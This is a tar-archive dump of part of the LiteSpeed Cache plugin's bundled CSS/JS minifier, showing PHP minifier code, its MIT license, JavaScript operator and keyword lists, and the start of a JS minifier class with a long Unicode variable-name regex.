')(\(.+?)(?=$|;|})/m'; // PHP only supports $this inside anonymous functions since 5.4 $minifier = $this; $callback = function ( $match ) use ( $minifier, $pattern, &$callback ) { $function = $match[1]; $length = strlen( $match[2] ); $expr = ''; $opened = 0; // the regular expression for extracting math has 1 significant problem: // it can't determine the correct closing parenthesis... // instead, it'll match a larger portion of code to where it's certain that // the calc() musts have ended, and we'll figure out which is the correct // closing parenthesis here, by counting how many have opened for ( $i = 0; $i < $length; ++$i ) { $char = $match[2][ $i ]; $expr .= $char; if ( $char === '(' ) { ++$opened; } elseif ( $char === ')' && --$opened === 0 ) { break; } } // now that we've figured out where the calc() starts and ends, extract it $count = count( $minifier->extracted ); $placeholder = 'math(' . $count . ')'; $minifier->extracted[ $placeholder ] = $function . '(' . trim( substr( $expr, 1, -1 ) ) . ')'; // and since we've captured more code than required, we may have some leftover // calc() in here too - go recursive on the remaining but of code to go figure // that out and extract what is needed $rest = $minifier->str_replace_first( $function . $expr, '', $match[0] ); $rest = preg_replace_callback( $pattern, $callback, $rest ); return $placeholder . $rest; }; $this->registerPattern( $pattern, $callback ); } /** * Replace custom properties, whose values may be used in scenarios where * we wouldn't want them to be minified (e.g. inside calc). */ protected function extractCustomProperties() { // PHP only supports $this inside anonymous functions since 5.4 $minifier = $this; $this->registerPattern( '/(?<=^|[;}{])\s*(--[^:;{}"\'\s]+)\s*:([^;{}]+)/m', function ( $match ) use ( $minifier ) { $placeholder = '--custom-' . count( $minifier->extracted ) . ':0'; $minifier->extracted[ $placeholder ] = $match[1] . ':' . trim( $match[2] ); return $placeholder; } ); } /** * Check if file is small enough to be imported. * * @param string $path The path to the file * * @return bool */ protected function canImportBySize( $path ) { return ( $size = @filesize( $path ) ) && $size <= $this->maxImportSize * 1024; } /** * Check if file a file can be imported, going by the path. * * @param string $path * * @return bool */ protected function canImportByPath( $path ) { return preg_match( '/^(data:|https?:|\\/)/', $path ) === 0; } /** * Return a converter to update relative paths to be relative to the new * destination. * * @param string $source * @param string $target * * @return ConverterInterface */ protected function getPathConverter( $source, $target ) { return new Converter( $source, $target ); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/LICENSE�����������������������������������������������0000644�����������������00000002043�15233526476�0016455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2012 Matthias Mullie Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/data/js/operators.txt���������������������������������0000644�����������������00000000170�15233526476�0021553 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+ - * / % = += -= *= /= %= <<= >>= >>>= &= ^= |= & | ^ ~ << >> >>> == === != !== > < >= <= && || ! . [ ] ? : , ; ( ) { }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/data/js/keywords_reserved.txt�������������������������0000644�����������������00000000636�15233526476�0023312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������do if in for let new try var case else enum eval null this true void with break catch class const false super throw while yield delete export import public return static switch typeof default extends finally package private continue debugger function arguments interface protected implements instanceof abstract boolean byte char double final float goto int long native short synchronized throws transient volatile��������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/data/js/operators_before.txt��������������������������0000644�����������������00000000163�15233526476�0023077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+ - * / % = += -= *= /= %= <<= >>= >>>= &= ^= |= & | ^ ~ << >> >>> == === != !== > < >= <= && || ! . [ ? : , ; ( { �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/data/js/keywords_before.txt���������������������������0000644�����������������00000000247�15233526476�0022733 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������do in let new var case else enum void with class const yield delete export import public static typeof extends package private function protected implements instanceof���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/data/js/operators_after.txt���������������������������0000644�����������������00000000162�15233526476�0022735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+ - * / % = += -= *= /= %= <<= >>= >>>= &= ^= |= & | ^ << >> >>> == === != !== > < >= <= && || . [ ] ? : , ; ( ) }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/data/js/keywords_after.txt����������������������������0000644�����������������00000000071�15233526476�0022565 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������in public extends private protected implements instanceof�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/minify/js.cls.php��������������������������������������������0000644�����������������00000111322�15233526476�0017356 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * js.cls.php - modified PHP implementation of Matthias Mullie's JavaScript minifier * * @author Matthias Mullie <minify@mullie.eu> * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved * @license MIT License */ namespace LiteSpeed\Lib\CSS_JS_MIN\Minify; defined( 'WPINC' ) || exit; class JS extends Minify { /** * Var-matching regex based on http://stackoverflow.com/a/9337047/802993. * * Note that regular expressions using that bit must have the PCRE_UTF8 * pattern modifier (/u) set. * * @internal * * @var string */ const REGEX_VARIABLE = '\b[$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\x{02c1}\x{02c6}-\x{02d1}\x{02e0}-\x{02e4}\x{02ec}\x{02ee}\x{0370}-\x{0374}\x{0376}\x{0377}\x{037a}-\x{037d}\x{0386}\x{0388}-\x{038a}\x{038c}\x{038e}-\x{03a1}\x{03a3}-\x{03f5}\x{03f7}-\x{0481}\x{048a}-\x{0527}\x{0531}-\x{0556}\x{0559}\x{0561}-\x{0587}\x{05d0}-\x{05ea}\x{05f0}-\x{05f2}\x{0620}-\x{064a}\x{066e}\x{066f}\x{0671}-\x{06d3}\x{06d5}\x{06e5}\x{06e6}\x{06ee}\x{06ef}\x{06fa}-\x{06fc}\x{06ff}\x{0710}\x{0712}-\x{072f}\x{074d}-\x{07a5}\x{07b1}\x{07ca}-\x{07ea}\x{07f4}\x{07f5}\x{07fa}\x{0800}-\x{0815}\x{081a}\x{0824}\x{0828}\x{0840}-\x{0858}\x{08a0}\x{08a2}-\x{08ac}\x{0904}-\x{0939}\x{093d}\x{0950}\x{0958}-\x{0961}\x{0971}-\x{0977}\x{0979}-\x{097f}\x{0985}-\x{098c}\x{098f}\x{0990}\x{0993}-\x{09a8}\x{09aa}-\x{09b0}\x{09b2}\x{09b6}-\x{09b9}\x{09bd}\x{09ce}\x{09dc}\x{09dd}\x{09df}-\x{09e1}\x{09f0}\x{09f1}\x{0a05}-\x{0a0a}\x{0a0f}\x{0a10}\x{0a13}-\x{0a28}\x{0a2a}-\x{0a30}\x{0a32}\x{0a33}\x{0a35}\x{0a36}\x{0a38}\x{0a39}\x{0a59}-\x{0a5c}\x{0a5e}\x{0a72}-\x{0a74}\x{0a85}-\x{0a8d}\x{0a8f}-\x{0a91}\x{0a93}-\x{0aa8}\x{0aaa}-\x{0ab0}\x{0ab2}\x{0ab3}\x{0ab5}-\x{0ab9}\x{0abd}\x{0ad0}\x{0ae0}\x{0ae1}\x{0b05}-\x{0b0c}\x{0b0f}\x{0b10}\x{0b13}-\x{0b28}\x{0b2a}-\x{0b30}\x{0b32}\x{0b33}\x{0b35}-\x{0b39}\x{0b3d}\x{0b5c}\x{0b5d}\x{0b5f}-\x{0b61}\x{0b71}\x{0b83}\x{0b85}-\x{0b8a}\x{0b8e}-\x{0b90}\x{0b92}-\x{0b95}\x{0b99}\x{0b9a}\x{0b9c}\x{0b9e}\x{0b9f}\x{0ba3}\x{0ba4}\x{0ba8}-\x{0baa}\x{0bae}-\x{0bb9}\x{0bd0}\x{0c05}-\x{0c0c}\x{0c0e}-\x{0c10}\x{0c12}-\x{0c28}\x{0c2a}-\x{0c33}\x{0c35}-\x{0c39}\x{0c3d}\x{0c58}\x{0c59}\x{0c60}\x{0c61}\x{0c85}-\x{0c8c}\x{0c8e}-\x{0c90}\x{0c92}-\x{0ca8}\x{0caa}-\x{0cb3}\x{0cb5}-\x{0cb9}\x{0cbd}\x{0cde}\x{0ce0}\x{0ce1}\x{0cf1}\x{0cf2}\x{0d05}-\x{0d0c}\x{0d0e}-\x{0d10}\x{0d12}-\x{0d3a}\x{0d3d}\x{0d4e}\x{0d60}\x{0d61}\x{0d7a}-\x{0d7f}\x{0d85}-\x{0d96}\x{0d9a}-\x{0db1}\x{0db3}-\x{0dbb}\x{0dbd}\x{0dc0}-\x{0dc6}\x{0e01}-\x{0e30}\x{0e32}\x{0e33}\x{0e40}-\x{0e46}\x{0e81}\x{0e82}\x{0e84}\x{0e87}\x{0e88}\x{0e8a}\x{0e8d}\x{0e94}-\x{0e97}\x{0e99}-\x{0e9f}\x{0ea1}-\x{0ea3}\x{0ea5}\x{0ea7}\x{0eaa}\x{0eab}\x{0ead}-\x{0eb0}\x{0eb2}\x{0eb3}\x{0ebd}\x{0ec0}-\x{0ec4}\x{0ec6}\x{0edc}-\x{0edf}\x{0f00}\x{0f40}-\x{0f47}\x{0f49}-\x{0f6c}\x{0f88}-\x{0f8c}\x{1000}-\x{102a}\x{103f}\x{1050}-\x{1055}\x{105a}-\x{105d}\x{1061}\x{1065}\x{1066}\x{106e}-\x{1070}\x{1075}-\x{1081}\x{108e}\x{10a0}-\x{10c5}\x{10c7}\x{10cd}\x{10d0}-\x{10fa}\x{10fc}-\x{1248}\x{124a}-\x{124d}\x{1250}-\x{1256}\x{1258}\x{125a}-\x{125d}\x{1260}-\x{1288}\x{128a}-\x{128d}\x{1290}-\x{12b0}\x{12b2}-\x{12b5}\x{12b8}-\x{12be}\x{12c0}\x{12c2}-\x{12c5}\x{12c8}-\x{12d6}\x{12d8}-\x{1310}\x{1312}-\x{1315}\x{1318}-\x{135a}\x{1380}-\x{138f}\x{13a0}-\x{13f4}\x{1401}-\x{166c}\x{166f}-\x{167f}\x{1681}-\x{169a}\x{16a0}-\x{16ea}\x{16ee}-\x{16f0}\x{1700}-\x{170c}\x{170e}-\x{1711}\x{1720}-\x{1731}\x{1740}-\x{1751}\x{1760}-\x{176c}\x{176e}-\x{1770}\x{1780}-\x{17b3}\x{17d7}\x{17dc}\x{1820}-\x{1877}\x{1880}-\x{18a8}\x{18aa}\x{18b0}-\x{18f5}\x{1900}-\x{191c}\x{1950}-\x{196d}\x{1970}-\x{1974}\x{1980}-\x{19ab}\x{19c1}-\x{19c7}\x{1a00}-\x{1a16}\x{1a20}-\x{1a54}\x{1aa7}\x{1b05}-\x{1b33}\x{1b45}-\x{1b4b}\x{1b83}-\x{1ba0}\x{1bae}\x{1baf}\x{1bba}-\x{1be5}\x{1c00}-\x{1c23}\x{1c4d}-\x{1c4f}\x{1c5a}-\x{1c7d}\x{1ce9}-\x{1cec}\x{1cee}-\x{1cf1}\x{1cf5}\x{1cf6}\x{1d00}-\x{1dbf}\x{1e00}-\x{1f15}\x{1f18}-\x{1f1d}\x{1f20}-\x{1f45}\x{1f48}-\x{1f4d}\x{1f50}-\x{1f57}\x{1f59}\x{1f5b}\x{1f5d}\x{1f5f}-\x{1f7d}\x{1f80}-\x{1fb4}\x{1fb6}-\x{1fbc}\x{1fbe}\x{1fc2}-\x{1fc4}\x{1fc6}-\x{1fcc}\x{1fd0}-\x{1fd3}\x{1fd6}-\x{1fdb}\x{1fe0}-\x{1fec}\x{1ff2}-\x{1ff4}\x{1ff6}-\x{1ffc}\x{2071}\x{207f}\x{2090}-\x{209c}\x{2102}\x{2107}\x{210a}-\x{2113}\x{2115}\x{2119}-\x{211d}\x{2124}\x{2126}\x{2128}\x{212a}-\x{212d}\x{212f}-\x{2139}\x{213c}-\x{213f}\x{2145}-\x{2149}\x{214e}\x{2160}-\x{2188}\x{2c00}-\x{2c2e}\x{2c30}-\x{2c5e}\x{2c60}-\x{2ce4}\x{2ceb}-\x{2cee}\x{2cf2}\x{2cf3}\x{2d00}-\x{2d25}\x{2d27}\x{2d2d}\x{2d30}-\x{2d67}\x{2d6f}\x{2d80}-\x{2d96}\x{2da0}-\x{2da6}\x{2da8}-\x{2dae}\x{2db0}-\x{2db6}\x{2db8}-\x{2dbe}\x{2dc0}-\x{2dc6}\x{2dc8}-\x{2dce}\x{2dd0}-\x{2dd6}\x{2dd8}-\x{2dde}\x{2e2f}\x{3005}-\x{3007}\x{3021}-\x{3029}\x{3031}-\x{3035}\x{3038}-\x{303c}\x{3041}-\x{3096}\x{309d}-\x{309f}\x{30a1}-\x{30fa}\x{30fc}-\x{30ff}\x{3105}-\x{312d}\x{3131}-\x{318e}\x{31a0}-\x{31ba}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fcc}\x{a000}-\x{a48c}\x{a4d0}-\x{a4fd}\x{a500}-\x{a60c}\x{a610}-\x{a61f}\x{a62a}\x{a62b}\x{a640}-\x{a66e}\x{a67f}-\x{a697}\x{a6a0}-\x{a6ef}\x{a717}-\x{a71f}\x{a722}-\x{a788}\x{a78b}-\x{a78e}\x{a790}-\x{a793}\x{a7a0}-\x{a7aa}\x{a7f8}-\x{a801}\x{a803}-\x{a805}\x{a807}-\x{a80a}\x{a80c}-\x{a822}\x{a840}-\x{a873}\x{a882}-\x{a8b3}\x{a8f2}-\x{a8f7}\x{a8fb}\x{a90a}-\x{a925}\x{a930}-\x{a946}\x{a960}-\x{a97c}\x{a984}-\x{a9b2}\x{a9cf}\x{aa00}-\x{aa28}\x{aa40}-\x{aa42}\x{aa44}-\x{aa4b}\x{aa60}-\x{aa76}\x{aa7a}\x{aa80}-\x{aaaf}\x{aab1}\x{aab5}\x{aab6}\x{aab9}-\x{aabd}\x{aac0}\x{aac2}\x{aadb}-\x{aadd}\x{aae0}-\x{aaea}\x{aaf2}-\x{aaf4}\x{ab01}-\x{ab06}\x{ab09}-\x{ab0e}\x{ab11}-\x{ab16}\x{ab20}-\x{ab26}\x{ab28}-\x{ab2e}\x{abc0}-\x{abe2}\x{ac00}-\x{d7a3}\x{d7b0}-\x{d7c6}\x{d7cb}-\x{d7fb}\x{f900}-\x{fa6d}\x{fa70}-\x{fad9}\x{fb00}-\x{fb06}\x{fb13}-\x{fb17}\x{fb1d}\x{fb1f}-\x{fb28}\x{fb2a}-\x{fb36}\x{fb38}-\x{fb3c}\x{fb3e}\x{fb40}\x{fb41}\x{fb43}\x{fb44}\x{fb46}-\x{fbb1}\x{fbd3}-\x{fd3d}\x{fd50}-\x{fd8f}\x{fd92}-\x{fdc7}\x{fdf0}-\x{fdfb}\x{fe70}-\x{fe74}\x{fe76}-\x{fefc}\x{ff21}-\x{ff3a}\x{ff41}-\x{ff5a}\x{ff66}-\x{ffbe}\x{ffc2}-\x{ffc7}\x{ffca}-\x{ffcf}\x{ffd2}-\x{ffd7}\x{ffda}-\x{ffdc}][$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\x{02c1}\x{02c6}-\x{02d1}\x{02e0}-\x{02e4}\x{02ec}\x{02ee}\x{0370}-\x{0374}\x{0376}\x{0377}\x{037a}-\x{037d}\x{0386}\x{0388}-\x{038a}\x{038c}\x{038e}-\x{03a1}\x{03a3}-\x{03f5}\x{03f7}-\x{0481}\x{048a}-\x{0527}\x{0531}-\x{0556}\x{0559}\x{0561}-\x{0587}\x{05d0}-\x{05ea}\x{05f0}-\x{05f2}\x{0620}-\x{064a}\x{066e}\x{066f}\x{0671}-\x{06d3}\x{06d5}\x{06e5}\x{06e6}\x{06ee}\x{06ef}\x{06fa}-\x{06fc}\x{06ff}\x{0710}\x{0712}-\x{072f}\x{074d}-\x{07a5}\x{07b1}\x{07ca}-\x{07ea}\x{07f4}\x{07f5}\x{07fa}\x{0800}-\x{0815}\x{081a}\x{0824}\x{0828}\x{0840}-\x{0858}\x{08a0}\x{08a2}-\x{08ac}\x{0904}-\x{0939}\x{093d}\x{0950}\x{0958}-\x{0961}\x{0971}-\x{0977}\x{0979}-\x{097f}\x{0985}-\x{098c}\x{098f}\x{0990}\x{0993}-\x{09a8}\x{09aa}-\x{09b0}\x{09b2}\x{09b6}-\x{09b9}\x{09bd}\x{09ce}\x{09dc}\x{09dd}\x{09df}-\x{09e1}\x{09f0}\x{09f1}\x{0a05}-\x{0a0a}\x{0a0f}\x{0a10}\x{0a13}-\x{0a28}\x{0a2a}-\x{0a30}\x{0a32}\x{0a33}\x{0a35}\x{0a36}\x{0a38}\x{0a39}\x{0a59}-\x{0a5c}\x{0a5e}\x{0a72}-\x{0a74}\x{0a85}-\x{0a8d}\x{0a8f}-\x{0a91}\x{0a93}-\x{0aa8}\x{0aaa}-\x{0ab0}\x{0ab2}\x{0ab3}\x{0ab5}-\x{0ab9}\x{0abd}\x{0ad0}\x{0ae0}\x{0ae1}\x{0b05}-\x{0b0c}\x{0b0f}\x{0b10}\x{0b13}-\x{0b28}\x{0b2a}-\x{0b30}\x{0b32}\x{0b33}\x{0b35}-\x{0b39}\x{0b3d}\x{0b5c}\x{0b5d}\x{0b5f}-\x{0b61}\x{0b71}\x{0b83}\x{0b85}-\x{0b8a}\x{0b8e}-\x{0b90}\x{0b92}-\x{0b95}\x{0b99}\x{0b9a}\x{0b9c}\x{0b9e}\x{0b9f}\x{0ba3}\x{0ba4}\x{0ba8}-\x{0baa}\x{0bae}-\x{0bb9}\x{0bd0}\x{0c05}-\x{0c0c}\x{0c0e}-\x{0c10}\x{0c12}-\x{0c28}\x{0c2a}-\x{0c33}\x{0c35}-\x{0c39}\x{0c3d}\x{0c58}\x{0c59}\x{0c60}\x{0c61}\x{0c85}-\x{0c8c}\x{0c8e}-\x{0c90}\x{0c92}-\x{0ca8}\x{0caa}-\x{0cb3}\x{0cb5}-\x{0cb9}\x{0cbd}\x{0cde}\x{0ce0}\x{0ce1}\x{0cf1}\x{0cf2}\x{0d05}-\x{0d0c}\x{0d0e}-\x{0d10}\x{0d12}-\x{0d3a}\x{0d3d}\x{0d4e}\x{0d60}\x{0d61}\x{0d7a}-\x{0d7f}\x{0d85}-\x{0d96}\x{0d9a}-\x{0db1}\x{0db3}-\x{0dbb}\x{0dbd}\x{0dc0}-\x{0dc6}\x{0e01}-\x{0e30}\x{0e32}\x{0e33}\x{0e40}-\x{0e46}\x{0e81}\x{0e82}\x{0e84}\x{0e87}\x{0e88}\x{0e8a}\x{0e8d}\x{0e94}-\x{0e97}\x{0e99}-\x{0e9f}\x{0ea1}-\x{0ea3}\x{0ea5}\x{0ea7}\x{0eaa}\x{0eab}\x{0ead}-\x{0eb0}\x{0eb2}\x{0eb3}\x{0ebd}\x{0ec0}-\x{0ec4}\x{0ec6}\x{0edc}-\x{0edf}\x{0f00}\x{0f40}-\x{0f47}\x{0f49}-\x{0f6c}\x{0f88}-\x{0f8c}\x{1000}-\x{102a}\x{103f}\x{1050}-\x{1055}\x{105a}-\x{105d}\x{1061}\x{1065}\x{1066}\x{106e}-\x{1070}\x{1075}-\x{1081}\x{108e}\x{10a0}-\x{10c5}\x{10c7}\x{10cd}\x{10d0}-\x{10fa}\x{10fc}-\x{1248}\x{124a}-\x{124d}\x{1250}-\x{1256}\x{1258}\x{125a}-\x{125d}\x{1260}-\x{1288}\x{128a}-\x{128d}\x{1290}-\x{12b0}\x{12b2}-\x{12b5}\x{12b8}-\x{12be}\x{12c0}\x{12c2}-\x{12c5}\x{12c8}-\x{12d6}\x{12d8}-\x{1310}\x{1312}-\x{1315}\x{1318}-\x{135a}\x{1380}-\x{138f}\x{13a0}-\x{13f4}\x{1401}-\x{166c}\x{166f}-\x{167f}\x{1681}-\x{169a}\x{16a0}-\x{16ea}\x{16ee}-\x{16f0}\x{1700}-\x{170c}\x{170e}-\x{1711}\x{1720}-\x{1731}\x{1740}-\x{1751}\x{1760}-\x{176c}\x{176e}-\x{1770}\x{1780}-\x{17b3}\x{17d7}\x{17dc}\x{1820}-\x{1877}\x{1880}-\x{18a8}\x{18aa}\x{18b0}-\x{18f5}\x{1900}-\x{191c}\x{1950}-\x{196d}\x{1970}-\x{1974}\x{1980}-\x{19ab}\x{19c1}-\x{19c7}\x{1a00}-\x{1a16}\x{1a20}-\x{1a54}\x{1aa7}\x{1b05}-\x{1b33}\x{1b45}-\x{1b4b}\x{1b83}-\x{1ba0}\x{1bae}\x{1baf}\x{1bba}-\x{1be5}\x{1c00}-\x{1c23}\x{1c4d}-\x{1c4f}\x{1c5a}-\x{1c7d}\x{1ce9}-\x{1cec}\x{1cee}-\x{1cf1}\x{1cf5}\x{1cf6}\x{1d00}-\x{1dbf}\x{1e00}-\x{1f15}\x{1f18}-\x{1f1d}\x{1f20}-\x{1f45}\x{1f48}-\x{1f4d}\x{1f50}-\x{1f57}\x{1f59}\x{1f5b}\x{1f5d}\x{1f5f}-\x{1f7d}\x{1f80}-\x{1fb4}\x{1fb6}-\x{1fbc}\x{1fbe}\x{1fc2}-\x{1fc4}\x{1fc6}-\x{1fcc}\x{1fd0}-\x{1fd3}\x{1fd6}-\x{1fdb}\x{1fe0}-\x{1fec}\x{1ff2}-\x{1ff4}\x{1ff6}-\x{1ffc}\x{2071}\x{207f}\x{2090}-\x{209c}\x{2102}\x{2107}\x{210a}-\x{2113}\x{2115}\x{2119}-\x{211d}\x{2124}\x{2126}\x{2128}\x{212a}-\x{212d}\x{212f}-\x{2139}\x{213c}-\x{213f}\x{2145}-\x{2149}\x{214e}\x{2160}-\x{2188}\x{2c00}-\x{2c2e}\x{2c30}-\x{2c5e}\x{2c60}-\x{2ce4}\x{2ceb}-\x{2cee}\x{2cf2}\x{2cf3}\x{2d00}-\x{2d25}\x{2d27}\x{2d2d}\x{2d30}-\x{2d67}\x{2d6f}\x{2d80}-\x{2d96}\x{2da0}-\x{2da6}\x{2da8}-\x{2dae}\x{2db0}-\x{2db6}\x{2db8}-\x{2dbe}\x{2dc0}-\x{2dc6}\x{2dc8}-\x{2dce}\x{2dd0}-\x{2dd6}\x{2dd8}-\x{2dde}\x{2e2f}\x{3005}-\x{3007}\x{3021}-\x{3029}\x{3031}-\x{3035}\x{3038}-\x{303c}\x{3041}-\x{3096}\x{309d}-\x{309f}\x{30a1}-\x{30fa}\x{30fc}-\x{30ff}\x{3105}-\x{312d}\x{3131}-\x{318e}\x{31a0}-\x{31ba}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fcc}\x{a000}-\x{a48c}\x{a4d0}-\x{a4fd}\x{a500}-\x{a60c}\x{a610}-\x{a61f}\x{a62a}\x{a62b}\x{a640}-\x{a66e}\x{a67f}-\x{a697}\x{a6a0}-\x{a6ef}\x{a717}-\x{a71f}\x{a722}-\x{a788}\x{a78b}-\x{a78e}\x{a790}-\x{a793}\x{a7a0}-\x{a7aa}\x{a7f8}-\x{a801}\x{a803}-\x{a805}\x{a807}-\x{a80a}\x{a80c}-\x{a822}\x{a840}-\x{a873}\x{a882}-\x{a8b3}\x{a8f2}-\x{a8f7}\x{a8fb}\x{a90a}-\x{a925}\x{a930}-\x{a946}\x{a960}-\x{a97c}\x{a984}-\x{a9b2}\x{a9cf}\x{aa00}-\x{aa28}\x{aa40}-\x{aa42}\x{aa44}-\x{aa4b}\x{aa60}-\x{aa76}\x{aa7a}\x{aa80}-\x{aaaf}\x{aab1}\x{aab5}\x{aab6}\x{aab9}-\x{aabd}\x{aac0}\x{aac2}\x{aadb}-\x{aadd}\x{aae0}-\x{aaea}\x{aaf2}-\x{aaf4}\x{ab01}-\x{ab06}\x{ab09}-\x{ab0e}\x{ab11}-\x{ab16}\x{ab20}-\x{ab26}\x{ab28}-\x{ab2e}\x{abc0}-\x{abe2}\x{ac00}-\x{d7a3}\x{d7b0}-\x{d7c6}\x{d7cb}-\x{d7fb}\x{f900}-\x{fa6d}\x{fa70}-\x{fad9}\x{fb00}-\x{fb06}\x{fb13}-\x{fb17}\x{fb1d}\x{fb1f}-\x{fb28}\x{fb2a}-\x{fb36}\x{fb38}-\x{fb3c}\x{fb3e}\x{fb40}\x{fb41}\x{fb43}\x{fb44}\x{fb46}-\x{fbb1}\x{fbd3}-\x{fd3d}\x{fd50}-\x{fd8f}\x{fd92}-\x{fdc7}\x{fdf0}-\x{fdfb}\x{fe70}-\x{fe74}\x{fe76}-\x{fefc}\x{ff21}-\x{ff3a}\x{ff41}-\x{ff5a}\x{ff66}-\x{ffbe}\x{ffc2}-\x{ffc7}\x{ffca}-\x{ffcf}\x{ffd2}-\x{ffd7}\x{ffda}-\x{ffdc}0-9\x{0300}-\x{036f}\x{0483}-\x{0487}\x{0591}-\x{05bd}\x{05bf}\x{05c1}\x{05c2}\x{05c4}\x{05c5}\x{05c7}\x{0610}-\x{061a}\x{064b}-\x{0669}\x{0670}\x{06d6}-\x{06dc}\x{06df}-\x{06e4}\x{06e7}\x{06e8}\x{06ea}-\x{06ed}\x{06f0}-\x{06f9}\x{0711}\x{0730}-\x{074a}\x{07a6}-\x{07b0}\x{07c0}-\x{07c9}\x{07eb}-\x{07f3}\x{0816}-\x{0819}\x{081b}-\x{0823}\x{0825}-\x{0827}\x{0829}-\x{082d}\x{0859}-\x{085b}\x{08e4}-\x{08fe}\x{0900}-\x{0903}\x{093a}-\x{093c}\x{093e}-\x{094f}\x{0951}-\x{0957}\x{0962}\x{0963}\x{0966}-\x{096f}\x{0981}-\x{0983}\x{09bc}\x{09be}-\x{09c4}\x{09c7}\x{09c8}\x{09cb}-\x{09cd}\x{09d7}\x{09e2}\x{09e3}\x{09e6}-\x{09ef}\x{0a01}-\x{0a03}\x{0a3c}\x{0a3e}-\x{0a42}\x{0a47}\x{0a48}\x{0a4b}-\x{0a4d}\x{0a51}\x{0a66}-\x{0a71}\x{0a75}\x{0a81}-\x{0a83}\x{0abc}\x{0abe}-\x{0ac5}\x{0ac7}-\x{0ac9}\x{0acb}-\x{0acd}\x{0ae2}\x{0ae3}\x{0ae6}-\x{0aef}\x{0b01}-\x{0b03}\x{0b3c}\x{0b3e}-\x{0b44}\x{0b47}\x{0b48}\x{0b4b}-\x{0b4d}\x{0b56}\x{0b57}\x{0b62}\x{0b63}\x{0b66}-\x{0b6f}\x{0b82}\x{0bbe}-\x{0bc2}\x{0bc6}-\x{0bc8}\x{0bca}-\x{0bcd}\x{0bd7}\x{0be6}-\x{0bef}\x{0c01}-\x{0c03}\x{0c3e}-\x{0c44}\x{0c46}-\x{0c48}\x{0c4a}-\x{0c4d}\x{0c55}\x{0c56}\x{0c62}\x{0c63}\x{0c66}-\x{0c6f}\x{0c82}\x{0c83}\x{0cbc}\x{0cbe}-\x{0cc4}\x{0cc6}-\x{0cc8}\x{0cca}-\x{0ccd}\x{0cd5}\x{0cd6}\x{0ce2}\x{0ce3}\x{0ce6}-\x{0cef}\x{0d02}\x{0d03}\x{0d3e}-\x{0d44}\x{0d46}-\x{0d48}\x{0d4a}-\x{0d4d}\x{0d57}\x{0d62}\x{0d63}\x{0d66}-\x{0d6f}\x{0d82}\x{0d83}\x{0dca}\x{0dcf}-\x{0dd4}\x{0dd6}\x{0dd8}-\x{0ddf}\x{0df2}\x{0df3}\x{0e31}\x{0e34}-\x{0e3a}\x{0e47}-\x{0e4e}\x{0e50}-\x{0e59}\x{0eb1}\x{0eb4}-\x{0eb9}\x{0ebb}\x{0ebc}\x{0ec8}-\x{0ecd}\x{0ed0}-\x{0ed9}\x{0f18}\x{0f19}\x{0f20}-\x{0f29}\x{0f35}\x{0f37}\x{0f39}\x{0f3e}\x{0f3f}\x{0f71}-\x{0f84}\x{0f86}\x{0f87}\x{0f8d}-\x{0f97}\x{0f99}-\x{0fbc}\x{0fc6}\x{102b}-\x{103e}\x{1040}-